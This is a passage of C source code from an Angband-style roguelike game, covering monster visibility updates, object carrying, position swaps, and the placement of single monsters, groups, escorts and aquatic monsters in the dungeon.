(RF2_STUPID);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/* Normal line of sight, and not blind */\r\n\t\tif (player_has_los_bold(fy, fx) && !p_ptr->blind)\r\n\t\t{\r\n\t\t\tbool do_invisible = FALSE;\r\n\t\t\tbool do_cold_blood = FALSE;\r\n\r\n\t\t\t/* Use \"infravision\" */\r\n\t\t\tif (d <= p_ptr->see_infra)\r\n\t\t\t{\r\n\t\t\t\t/* Handle \"cold blooded\" monsters */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_COLD_BLOOD))\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Take note */\r\n\t\t\t\t\tdo_cold_blood = TRUE;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t/* Handle \"warm blooded\" monsters */\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Use \"illumination\" */\r\n\t\t\tif (player_can_see_bold(fy, fx))\r\n\t\t\t{\r\n\t\t\t\t/* Handle \"invisible\" monsters */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_INVISIBLE))\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Take note */\r\n\t\t\t\t\tdo_invisible = TRUE;\r\n\r\n\t\t\t\t\t/* See invisible */\r\n\t\t\t\t\tif (p_ptr->see_inv)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t/* Handle \"normal\" monsters */\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Visible */\r\n\t\t\tif (flag)\r\n\t\t\t{\r\n\t\t\t\t/* Memorize flags */\r\n\t\t\t\tif (do_invisible) l_ptr->r_flags2 |= (RF2_INVISIBLE);\r\n\t\t\t\tif (do_cold_blood) l_ptr->r_flags2 |= (RF2_COLD_BLOOD);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* The monster is now visible */\r\n\tif (flag)\r\n\t{\r\n\t\t/* It was previously unseen */\r\n\t\tif (!m_ptr->ml)\r\n\t\t{\r\n\t\t\t/* Mark as visible */\r\n\t\t\tm_ptr->ml = TRUE;\r\n\r\n\t\t\t/* Draw the monster */\r\n\t\t\tlite_spot(fy, fx);\r\n\r\n\t\t\t/* Update health bar as needed */\r\n\t\t\tif (p_ptr->health_who == m_idx) p_ptr->redraw |= (PR_HEALTH);\r\n \r\n /* Update monster list window */\r\n p_ptr->window |= (PW_MONLIST);\r\n\r\n\t\t\t/* Hack -- Count \"fresh\" sightings */\r\n\t\t\tif (l_ptr->r_sights < MAX_SHORT) l_ptr->r_sights++;\r\n\r\n\t\t\t/* Disturb on appearance */\r\n\t\t\tif (disturb_move) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\t/* The monster is not visible */\r\n\telse\r\n\t{\r\n\t\t/* It was previously seen */\r\n\t\tif (m_ptr->ml)\r\n\t\t{\r\n\t\t\t/* Mark as not visible */\r\n\t\t\tm_ptr->ml = FALSE;\r\n\r\n\t\t\t/* Erase the monster */\r\n\t\t\tlite_spot(fy, fx);\r\n\r\n\t\t\t/* Update health bar as needed */\r\n\t\t\tif (p_ptr->health_who == m_idx) p_ptr->redraw |= (PR_HEALTH);\r\n \r\n /* Update monster list window */\r\n p_ptr->window |= (PW_MONLIST);\r\n\r\n\t\t\t/* Disturb on disappearance */\r\n\t\t\tif (disturb_move) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* The monster is now easily visible */\r\n\tif (easy)\r\n\t{\r\n\t\t/* Change */\r\n\t\tif (!(m_ptr->mflag & (MFLAG_VIEW)))\r\n\t\t{\r\n\t\t\t/* Mark as easily visible */\r\n\t\t\tm_ptr->mflag |= (MFLAG_VIEW);\r\n\r\n\t\t\t/* Disturb on appearance */\r\n\t\t\tif (disturb_near) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\t/* The monster is not easily visible */\r\n\telse\r\n\t{\r\n\t\t/* Change */\r\n\t\tif (m_ptr->mflag & (MFLAG_VIEW))\r\n\t\t{\r\n\t\t\t/* Mark as not easily visible */\r\n\t\t\tm_ptr->mflag &= ~(MFLAG_VIEW);\r\n\r\n\t\t\t/* Disturb on disappearance */\r\n\t\t\tif (disturb_near && !m_ptr->is_friendly) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * This function simply updates all the (non-dead) monsters (see above).\r\n */\r\nvoid update_monsters(bool full)\r\n{\r\n\tint i;\r\n\r\n\t/* Update each (live) monster */\r\n\tfor (i = 1; i < m_max; i++)\r\n\t{\r\n\t\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\t\t/* Skip dead monsters */\r\n\t\tif (!m_ptr->r_idx) continue;\r\n\r\n\t\t/* Update the monster */\r\n\t\tupdate_mon(i, full);\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * Make a monster carry an object\r\n */\r\ns16b monster_carry(int m_idx, object_type *j_ptr)\r\n{\r\n\ts16b o_idx;\r\n\r\n\ts16b this_o_idx, next_o_idx = 0;\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\r\n\t/* Scan objects already being held for combination */\r\n\tfor (this_o_idx = m_ptr->hold_o_idx; this_o_idx; this_o_idx = next_o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get the object */\r\n\t\to_ptr = &o_list[this_o_idx];\r\n\r\n\t\t/* Get the next object */\r\n\t\tnext_o_idx = o_ptr->next_o_idx;\r\n\r\n\t\t/* Check for combination */\r\n\t\tif (object_similar(o_ptr, j_ptr))\r\n\t\t{\r\n\t\t\t/* Combine the items */\r\n\t\t\tobject_absorb(o_ptr, j_ptr);\r\n\r\n\t\t\t/* Result */\r\n\t\t\treturn (this_o_idx);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Make an object */\r\n\to_idx = o_pop();\r\n\r\n\t/* Success */\r\n\tif (o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get new object */\r\n\t\to_ptr = &o_list[o_idx];\r\n\r\n\t\t/* Copy object */\r\n\t\tobject_copy(o_ptr, j_ptr);\r\n\r\n\t\t/* Forget mark */\r\n\t\to_ptr->marked = FALSE;\r\n\r\n\t\t/* Forget location */\r\n\t\to_ptr->iy = o_ptr->ix = 0;\r\n\r\n\t\t/* Link the object to the monster */\r\n\t\to_ptr->held_m_idx = m_idx;\r\n\r\n\t\t/* Link the object to the pile */\r\n\t\to_ptr->next_o_idx = m_ptr->hold_o_idx;\r\n\r\n\t\t/* Link the monster to the object */\r\n\t\tm_ptr->hold_o_idx = o_idx;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (o_idx);\r\n}\r\n\r\n\r\n/*\r\n * Swap the players/monsters (if any) at two locations XXX XXX XXX\r\n */\r\nvoid monster_swap(int y1, int x1, int y2, int x2)\r\n{\r\n\tint m1, m2;\r\n\r\n\tmonster_type *m_ptr;\r\n\r\n\r\n\t/* Monsters */\r\n\tm1 = cave_m_idx[y1][x1];\r\n\tm2 = cave_m_idx[y2][x2];\r\n\r\n\r\n\t/* Update grids */\r\n\tcave_m_idx[y1][x1] = m2;\r\n\tcave_m_idx[y2][x2] = m1;\r\n\r\n\r\n\t/* Monster 1 */\r\n\tif (m1 > 0)\r\n\t{\r\n\t\tm_ptr = &m_list[m1];\r\n\r\n\t\t/* Move monster */\r\n\t\tm_ptr->fy = y2;\r\n\t\tm_ptr->fx = x2;\r\n\r\n\t\t/* Update monster */\r\n\t\tupdate_mon(m1, TRUE);\r\n\t}\r\n\r\n\t/* Player 1 */\r\n\telse if (m1 < 0)\r\n\t{\r\n\t\t/* Move player */\r\n\t\tp_ptr->py = y2;\r\n\t\tp_ptr->px = x2;\r\n\r\n\t\t/* Update the panel */\r\n\t\tp_ptr->update |= (PU_PANEL);\r\n\r\n\t\t/* Update the visuals (and monster distances) */\r\n\t\tp_ptr->update |= (PU_UPDATE_VIEW | PU_DISTANCE);\r\n\r\n\t\t/* Update the flow */\r\n\t\tp_ptr->update |= (PU_UPDATE_FLOW);\r\n\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_OVERHEAD);\r\n\t}\r\n\r\n\t/* Monster 2 */\r\n\tif (m2 > 0)\r\n\t{\r\n\t\tm_ptr = &m_list[m2];\r\n\r\n\t\t/* Move monster */\r\n\t\tm_ptr->fy = y1;\r\n\t\tm_ptr->fx = x1;\r\n\r\n\t\t/* Update monster */\r\n\t\tupdate_mon(m2, TRUE);\r\n\t}\r\n\r\n\t/* Player 2 */\r\n\telse if (m2 < 0)\r\n\t{\r\n\t\t/* Move player */\r\n\t\tp_ptr->py = y1;\r\n\t\tp_ptr->px = x1;\r\n\r\n\t\t/* Update the panel */\r\n\t\tp_ptr->update |= (PU_PANEL);\r\n\r\n\t\t/* Update the visuals (and monster distances) */\r\n\t\tp_ptr->update |= (PU_UPDATE_VIEW | PU_DISTANCE);\r\n\r\n\t\t/* Update the flow */\r\n\t\tp_ptr->update |= (PU_UPDATE_FLOW);\r\n\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_OVERHEAD);\r\n\t}\r\n\r\n\r\n\t/* Redraw */\r\n\tlite_spot(y1, x1);\r\n\tlite_spot(y2, x2);\r\n}\r\n\r\n\r\n/*\r\n * Place the player in the dungeon XXX XXX\r\n */\r\ns16b player_place(int y, int x)\r\n{\r\n\t/* Paranoia XXX XXX */\r\n\tif (cave_m_idx[y][x] != 0) return (0);\r\n\r\n\r\n\t/* Save player location */\r\n\tp_ptr->py = y;\r\n\tp_ptr->px = x;\r\n\r\n\t/* Mark cave grid */\r\n\tcave_m_idx[y][x] = -1;\r\n\r\n\t/* Success */\r\n\treturn (-1);\r\n}\r\n\r\n\r\n/*\r\n * Place a copy of a monster in the dungeon XXX XXX\r\n */\r\ns16b monster_place(int y, int x, monster_type *n_ptr)\r\n{\r\n\ts16b m_idx;\r\n\r\n\tmonster_type *m_ptr;\r\n\tmonster_race *r_ptr;\r\n\r\n\r\n\t/* Paranoia XXX XXX */\r\n\tif (cave_m_idx[y][x] != 0) return (0);\r\n\r\n\r\n\t/* Get a new record */\r\n\tm_idx = m_pop();\r\n\r\n\t/* Oops */\r\n\tif (m_idx)\r\n\t{\r\n\t\t/* Make a new monster */\r\n\t\tcave_m_idx[y][x] = m_idx;\r\n\r\n\t\t/* Get the new monster */\r\n\t\tm_ptr = &m_list[m_idx];\r\n\r\n\t\t/* Copy the monster XXX */\r\n\t\tCOPY(m_ptr, n_ptr, monster_type);\r\n\r\n\t\t/* Location */\r\n\t\tm_ptr->fy = y;\r\n\t\tm_ptr->fx = x;\r\n\r\n\t\t/* Update the monster */\r\n\t\tupdate_mon(m_idx, TRUE);\r\n\r\n\t\t/* Get the new race */\r\n\t\tr_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\t\t/* Hack -- Notice new multi-hued monsters */\r\n\t\tif (r_ptr->flags1 & (RF1_ATTR_MULTI)) shimmer_monsters = TRUE;\r\n\r\n\t\t/* Hack -- Count the number of \"reproducers\" */\r\n\t\tif (r_ptr->flags2 & (RF2_MULTIPLY)) num_repro++;\r\n\r\n\t\t/* Count racial occurances */\r\n\t\tr_ptr->cur_num++;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (m_idx);\r\n}\r\n\r\n\r\n\r\n/*\r\n * Attempt to place a monster of the given race at the given location.\r\n *\r\n * To give the player a sporting chance, any monster that appears in\r\n * line-of-sight and is extremely dangerous can be marked as\r\n * \"FORCE_SLEEP\", which will cause them to be placed with low energy,\r\n * which often (but not always) lets the player move before they do.\r\n *\r\n * This routine refuses to place out-of-depth \"FORCE_DEPTH\" monsters.\r\n *\r\n * XXX XXX XXX Use special \"here\" and \"dead\" flags for unique monsters,\r\n * remove old \"cur_num\" and \"max_num\" fields.\r\n *\r\n * XXX XXX XXX Actually, do something similar for artifacts, to simplify\r\n * the \"preserve\" mode, and to make the \"what artifacts\" flag more useful.\r\n *\r\n * This is the only function which may place a monster in the dungeon,\r\n * except for the savefile loading code.\r\n */\r\nstatic bool place_monster_one(int y, int x, int r_idx, bool slp, bool pet)\r\n{\r\n\tint i;\r\n\r\n\tmonster_race *r_ptr;\r\n\r\n\tmonster_type *n_ptr;\r\n\tmonster_type monster_type_body;\r\n\r\n\tcptr name;\r\n\r\n\r\n\t/* Paranoia */\r\n\tif (!in_bounds(y, x)) return (FALSE);\r\n\r\n\t/* Require empty space */\r\n\tif (!terrain_empty_bold(y, x)) return (FALSE);\r\n\r\n\t/* Hack -- no creation on glyph of warding */\r\n\tif (cave_feat[y][x] == FEAT_GLYPH) return (FALSE);\r\n\r\n\r\n\t/* Paranoia */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Race */\r\n\tr_ptr = &r_info[r_idx];\r\n\r\n\t/* Paranoia */\r\n\tif (!r_ptr->name) return (FALSE);\r\n\r\n\t/* Name */\r\n\tname = (r_name + r_ptr->name);\r\n\r\n\r\n\t/* Hack -- \"unique\" monsters must be \"unique\" */\r\n\tif ((r_ptr->flags1 & (RF1_UNIQUE)) && (r_ptr->cur_num >= r_ptr->max_num))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\t/* Handle water terrain */\r\n\tif ((r_ptr->flags2 & (RF2_AQUATIC)) &&\r\n\t (cave_feat[y][x] != FEAT_SHAL_WATER) &&\r\n\t (cave_feat[y][x] != FEAT_DEEP_WATER))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\tif ((!(r_ptr->flags2 & (RF2_AQUATIC))) &&\r\n\t (cave_feat[y][x] == FEAT_SHAL_WATER) &&\r\n\t (cave_feat[y][x] == FEAT_DEEP_WATER)) \r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\t/* Depth monsters may NOT be created out of depth */\r\n\tif ((r_ptr->flags1 & (RF1_FORCE_DEPTH)) && (p_ptr->depth < r_ptr->level))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\r\n\t/* Powerful monster */\r\n\tif (r_ptr->level > p_ptr->depth)\r\n\t{\r\n\t\t/* Unique monsters */\r\n\t\tif (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t\t{\r\n\t\t\t/* Message for cheaters */\r\n\t\t\tif (cheat_hear) msg_format(\"Deep Unique (%s).\", name);\r\n\r\n\t\t\t/* Boost rating by twice delta-depth */\r\n\t\t\trating += (r_ptr->level - p_ptr->depth) * 2;\r\n\t\t}\r\n\r\n\t\t/* Normal monsters */\r\n\t\telse\r\n\t\t{\r\n\t\t\t/* Message for cheaters */\r\n\t\t\tif (cheat_hear) msg_format(\"Deep Monster (%s).\", name);\r\n\r\n\t\t\t/* Boost rating by delta-depth */\r\n\t\t\trating += (r_ptr->level - p_ptr->depth);\r\n\t\t}\r\n\t}\r\n\r\n\t/* Note the monster */\r\n\telse if (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t{\r\n\t\t/* Unique monsters induce message */\r\n\t\tif (cheat_hear) msg_format(\"Unique (%s).\", name);\r\n\t}\r\n\r\n\r\n\t/* Get local monster */\r\n\tn_ptr = &monster_type_body;\r\n\r\n\t/* Clean out the monster */\r\n\t(void)WIPE(n_ptr, monster_type);\r\n\r\n\r\n\t/* Save the race */\r\n\tn_ptr->r_idx = r_idx;\r\n\r\n\r\n\t/* Enforce sleeping if needed */\r\n\tif (slp && r_ptr->sleep)\r\n\t{\r\n\t\tint val = r_ptr->sleep;\r\n\t\tn_ptr->csleep = ((val * 2) + randint(val * 10));\r\n\t}\r\n\r\n\r\n\t/* Assign maximal hitpoints */\r\n\tif (r_ptr->flags1 & (RF1_FORCE_MAXHP))\r\n\t{\r\n\t\tn_ptr->maxhp = maxroll(r_ptr->hdice, r_ptr->hside);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tn_ptr->maxhp = damroll(r_ptr->hdice, r_ptr->hside);\r\n\t}\r\n\r\n\t/* And start out fully healthy */\r\n\tn_ptr->hp = n_ptr->maxhp;\r\n\r\n\r\n\t/* Extract the monster base speed */\r\n\tn_ptr->mspeed = r_ptr->speed;\r\n\r\n\t/* Hack -- small racial variety */\r\n\tif (!(r_ptr->flags1 & (RF1_UNIQUE)))\r\n\t{\r\n\t\t/* Allow some small variation per monster */\r\n\t\ti = extract_energy[r_ptr->speed] / 10;\r\n\t\tif (i) n_ptr->mspeed += rand_spread(0, i);\r\n\t}\r\n\r\n\r\n\t/* Give a random starting energy */\r\n\tn_ptr->energy = (byte)rand_int(100);\r\n\r\n\t/* Set to be friendly, if applicable */\r\n\tif (r_ptr->flags2 & RF2_FRIENDLY)\r\n\t{\r\n\t\tn_ptr->is_friendly = TRUE;\r\n\t}\r\n\r\n\t/* Set to be a pet, if applicable (no uniques) */\r\n\tif ((pet) && !(r_ptr->flags1 & (RF1_UNIQUE)))\r\n\t{\r\n\t\tn_ptr->is_friendly = TRUE;\r\n\t\tn_ptr->is_pet = TRUE;\r\n\t}\r\n\r\n\t/* Force monster to wait for player */\r\n\tif (r_ptr->flags1 & (RF1_FORCE_SLEEP))\r\n\t{\r\n\t\t/* Monster is still being nice */\r\n\t\tn_ptr->mflag |= (MFLAG_NICE);\r\n\r\n\t\t/* Optimize -- Repair flags */\r\n\t\trepair_mflag_nice = TRUE;\r\n\t}\r\n\r\n\t/* Monster is still being born */\r\n\tn_ptr->mflag |= (MFLAG_BORN);\r\n\r\n\t/* Optimize -- Repair flags */\r\n\trepair_mflag_born = TRUE;\r\n\r\n\r\n\t/* Place the monster in the dungeon */\r\n\tif (!monster_place(y, x, n_ptr)) return (FALSE);\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Maximum size of a group of monsters\r\n */\r\n#define GROUP_MAX\t32\r\n\r\n\r\n/*\r\n * Attempt to place a \"group\" of monsters around the given location\r\n */\r\nstatic bool place_monster_group(int y, int x, int r_idx, bool slp, bool pet)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tint old, n, i;\r\n\tint total, extra = 0;\r\n\r\n\tint hack_n;\r\n\r\n\tbyte hack_y[GROUP_MAX];\r\n\tbyte hack_x[GROUP_MAX];\r\n\r\n\r\n\t/* Pick a group size */\r\n\ttotal = randint(13);\r\n\r\n\t/* Hard monsters, small groups */\r\n\tif (r_ptr->level > p_ptr->depth)\r\n\t{\r\n\t\textra = r_ptr->level - p_ptr->depth;\r\n\t\textra = 0 - randint(extra);\r\n\t}\r\n\r\n\t/* Easy monsters, large groups */\r\n\telse if (r_ptr->level < p_ptr->depth)\r\n\t{\r\n\t\textra = p_ptr->depth - r_ptr->level;\r\n\t\textra = randint(extra);\r\n\t}\r\n\r\n\t/* Hack -- limit group reduction */\r\n\tif (extra > 12) extra = 12;\r\n\r\n\t/* Modify the group size */\r\n\ttotal += extra;\r\n\r\n\t/* Minimum size */\r\n\tif (total < 1) total = 1;\r\n\r\n\t/* Maximum size */\r\n\tif (total > GROUP_MAX) total = GROUP_MAX;\r\n\r\n\r\n\t/* Save the rating */\r\n\told = rating;\r\n\r\n\t/* Start on the monster */\r\n\thack_n = 1;\r\n\thack_x[0] = x;\r\n\thack_y[0] = y;\r\n\r\n\t/* Puddle monsters, breadth first, up to total */\r\n\tfor (n = 0; (n < hack_n) && (hack_n < total); n++)\r\n\t{\r\n\t\t/* Grab the location */\r\n\t\tint hx = hack_x[n];\r\n\t\tint hy = hack_y[n];\r\n\r\n\t\t/* Check each direction, up to total */\r\n\t\tfor (i = 0; (i < 8) && (hack_n < total); i++)\r\n\t\t{\r\n\t\t\tint mx = hx + ddx_ddd[i];\r\n\t\t\tint my = hy + ddy_ddd[i];\r\n\r\n\t\t\t/* Walls and Monsters block flow */\r\n\t\t\tif (!cave_empty_bold(my, mx)) continue;\r\n\r\n\t\t\t/* Attempt to place another monster */\r\n\t\t\tif (place_monster_one(my, mx, r_idx, slp, pet))\r\n\t\t\t{\r\n\t\t\t\t/* Add it to the \"hack\" set */\r\n\t\t\t\thack_y[hack_n] = my;\r\n\t\t\t\thack_x[hack_n] = mx;\r\n\t\t\t\thack_n++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/* Hack -- restore the rating */\r\n\trating = old;\r\n\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- help pick an escort type\r\n */\r\nstatic int place_monster_idx = 0;\r\n\r\n/*\r\n * Hack -- help pick an escort type\r\n */\r\nstatic bool place_monster_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[place_monster_idx];\r\n\r\n\tmonster_race *z_ptr = &r_info[r_idx];\r\n\r\n\t/* Require similar \"race\" */\r\n\tif (z_ptr->d_char != r_ptr->d_char) return (FALSE);\r\n\r\n\t/* Skip more advanced monsters */\r\n\tif (z_ptr->level > r_ptr->level) return (FALSE);\r\n\r\n\t/* Skip unique monsters */\r\n\tif (z_ptr->flags1 & (RF1_UNIQUE)) return (FALSE);\r\n\r\n\t/* Paranoia -- Skip identical monsters */\r\n\tif (place_monster_idx == r_idx) return (FALSE);\r\n\r\n\t/* Okay */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Attempt to place a monster of the given race at the given location\r\n *\r\n * Note that certain monsters are now marked as requiring \"friends\".\r\n * These monsters, if successfully placed, and if the \"grp\" parameter\r\n * is TRUE, will be surrounded by a \"group\" of identical monsters.\r\n *\r\n * Note that certain monsters are now marked as requiring an \"escort\",\r\n * which is a collection of monsters with similar \"race\" but lower level.\r\n *\r\n * Some monsters induce a fake \"group\" flag on their escorts.\r\n *\r\n * Note the \"bizarre\" use of non-recursion to prevent annoying output\r\n * when running a code profiler.\r\n *\r\n * Note the use of the new \"monster allocation table\" code to restrict\r\n * the \"get_mon_num()\" function to \"legal\" escort types.\r\n */\r\nbool place_monster_aux(int y, int x, int r_idx, bool slp, bool grp, bool pet)\r\n{\r\n\tint i;\r\n\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\r\n\t/* Place one monster, or fail */\r\n\tif (!place_monster_one(y, x, r_idx, slp, pet)) return (FALSE);\r\n\r\n\r\n\t/* Require the \"group\" flag */\r\n\tif (!grp) return (TRUE);\r\n\r\n\r\n\t/* Friends for certain monsters */\r\n\tif (r_ptr->flags1 & (RF1_FRIENDS))\r\n\t{\r\n\t\t/* Attempt to place a group */\r\n\t\t(void)place_monster_group(y, x, r_idx, slp, pet);\r\n\t}\r\n\r\n\r\n\t/* Escorts for certain monsters */\r\n\tif (r_ptr->flags1 & (RF1_ESCORT))\r\n\t{\r\n\t\t/* Try to place several \"escorts\" */\r\n\t\tfor (i = 0; i < 50; i++)\r\n\t\t{\r\n\t\t\tint nx, ny, z, d = 3;\r\n\r\n\t\t\t/* Pick a location */\r\n\t\t\tscatter(&ny, &nx, y, x, d, 0);\r\n\r\n\t\t\t/* Require empty grids */\r\n\t\t\tif (!cave_empty_bold(ny, nx)) continue;\r\n\r\n\r\n\t\t\t/* Set the escort index */\r\n\t\t\tplace_monster_idx = r_idx;\r\n\r\n\r\n\t\t\t/* Set the escort hook */\r\n\t\t\tget_mon_num_hook = place_monster_okay;\r\n\r\n\t\t\t/* Prepare allocation table */\r\n\t\t\tget_mon_num_prep();\r\n\r\n\r\n\t\t\t/* Pick a random race */\r\n\t\t\tz = get_mon_num(r_ptr->level);\r\n\r\n\r\n\t\t\t/* Remove restriction */\r\n\t\t\tget_mon_num_hook = NULL;\r\n\r\n\t\t\t/* Prepare allocation table */\r\n\t\t\tget_mon_num_prep();\r\n\r\n\r\n\t\t\t/* Handle failure */\r\n\t\t\tif (!z) break;\r\n\r\n\t\t\t/* Place a single escort */\r\n\t\t\t(void)place_monster_one(ny, nx, z, slp, pet);\r\n\r\n\t\t\t/* Place a \"group\" of escorts if needed */\r\n\t\t\tif ((r_info[z].flags1 & (RF1_FRIENDS)) ||\r\n\t\t\t (r_ptr->flags1 & (RF1_ESCORTS)))\r\n\t\t\t{\r\n\t\t\t\t/* Place a group of monsters */\r\n\t\t\t\t(void)place_monster_group(ny, nx, z, slp, pet);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- attempt to place a monster at the given location\r\n *\r\n * Attempt to find a monster appropriate to the \"monster_level\"\r\n */\r\nbool place_monster(int y, int x, bool slp, bool grp)\r\n{\r\n\tint r_idx;\r\n\r\n\t/* Pick a monster */\r\n\tr_idx = get_mon_num(monster_level);\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster */\r\n\tif (place_monster_aux(y, x, r_idx, slp, grp, 0)) return (TRUE);\r\n\r\n\t/* Oops */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * XXX XXX XXX Player Ghosts are such a hack, they have been completely\r\n * removed until Angband 2.8.0, in which there will actually be a small\r\n * number of \"unique\" monsters which will serve as the \"player ghosts\".\r\n * Each will have a place holder for the \"name\" of a deceased player,\r\n * which will be extracted from a \"bone\" file, or replaced with a\r\n * \"default\" name if a real name is not available. Each ghost will\r\n * appear exactly once and will not induce a special feeling.\r\n *\r\n * Possible methods:\r\n * (s) 1 Skeleton\r\n * (z) 1 Zombie\r\n * (M) 1 Mummy\r\n * (G) 1 Polterguiest, 1 Spirit, 1 Ghost, 1 Shadow, 1 Phantom\r\n * (W) 1 Wraith\r\n * (V) 1 Vampire, 1 Vampire Lord\r\n * (L) 1 Lich\r\n *\r\n * Possible change: Lose 1 ghost, Add \"Master Lich\"\r\n *\r\n * Possible change: Lose 2 ghosts, Add \"Wraith\", Add \"Master Lich\"\r\n *\r\n * Possible change: Lose 4 ghosts, lose 1 vampire lord\r\n *\r\n * Note that ghosts should never sleep, should be very attentive, should\r\n * have maximal hitpoints, drop only good (or great) items, should be\r\n * cold blooded, evil, undead, immune to poison, sleep, confusion, fear.\r\n *\r\n * Base monsters:\r\n * Skeleton\r\n * Zombie\r\n * Mummy\r\n * Poltergeist\r\n * Spirit\r\n * Ghost\r\n * Vampire\r\n * Wraith\r\n * Vampire Lord\r\n * Shadow\r\n * Phantom\r\n * Lich\r\n *\r\n * This routine will simply extract ghost names from files, and\r\n * attempt to allocate a player ghost somewhere in the dungeon,\r\n * note that normal allocation may also attempt to place ghosts,\r\n * so we must work with some form of default names.\r\n *\r\n * XXX XXX XXX\r\n */\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Attempt to allocate a random monster in the dungeon.\r\n *\r\n * Place the monster at least \"dis\" distance from the player.\r\n *\r\n * Use \"slp\" to choose the initial \"sleep\" status\r\n *\r\n * Use \"monster_level\" for the monster level\r\n */\r\nbool alloc_monster(int dis, bool slp)\r\n{\r\n\tint py = p_ptr->py;\r\n\tint px = p_ptr->px;\r\n\r\n\tint y, x;\r\n\tint\tattempts_left = 10000;\r\n\r\n\t/* Find a legal, distant, unoccupied, space */\r\n\twhile (--attempts_left)\r\n\t{\r\n\t\t/* Pick a location */\r\n\t\ty = rand_int(DUNGEON_HGT);\r\n\t\tx = rand_int(DUNGEON_WID);\r\n\r\n\t\t/* Require \"naked\" floor grid */\r\n\t\tif (!cave_naked_bold(y, x)) continue;\r\n\r\n\t\t/* Accept far away grids */\r\n\t\tif (distance(y, x, py, px) > dis) break;\r\n\t}\r\n\r\n\tif (!attempts_left)\r\n\t{\r\n\t\tif (cheat_xtra || cheat_hear)\r\n\t\t{\r\n\t\t\tmsg_print(\"Warning! Could not allocate a new monster.\");\r\n\t\t}\r\n\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t/* Attempt to place the monster, allow groups */\r\n\tif (place_monster(y, x, slp, TRUE)) return (TRUE);\r\n\r\n\t/* Nope */\r\n\treturn (FALSE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- help decide if a monster race is \"okay\" to summon\r\n */\r\nstatic bool place_aquatic_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tbool okay = ((r_ptr->d_char == 'l') &&\r\n\t (r_ptr->flags2 & (RF2_AQUATIC)));\r\n\r\n\t/* Result */\r\n\treturn (okay);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- attempt to place a monster at the given location\r\n *\r\n * Attempt to find a monster appropriate to the \"monster_level\"\r\n */\r\nbool place_aquatic_monster(int y, int x, bool slp, bool grp)\r\n{\r\n\tint r_idx;\r\n\r\n\t/* Require \"okay\" monsters */\r\n\tget_mon_num_hook = place_aquatic_okay;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\t/* Pick a monster */\r\n\tr_idx = get_mon_num(monster_level);\r\n\r\n\t/* Remove restriction */\r\n\tget_mon_num_hook = NULL;\r\n\r\n\t/* Prepare allocation table */\r\n\tget_mon_num_prep();\r\n\r\n\t/* Handle failure */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Attempt to place the monster */\r\n\tif (place_monster_aux(y, x, r_idx, slp, 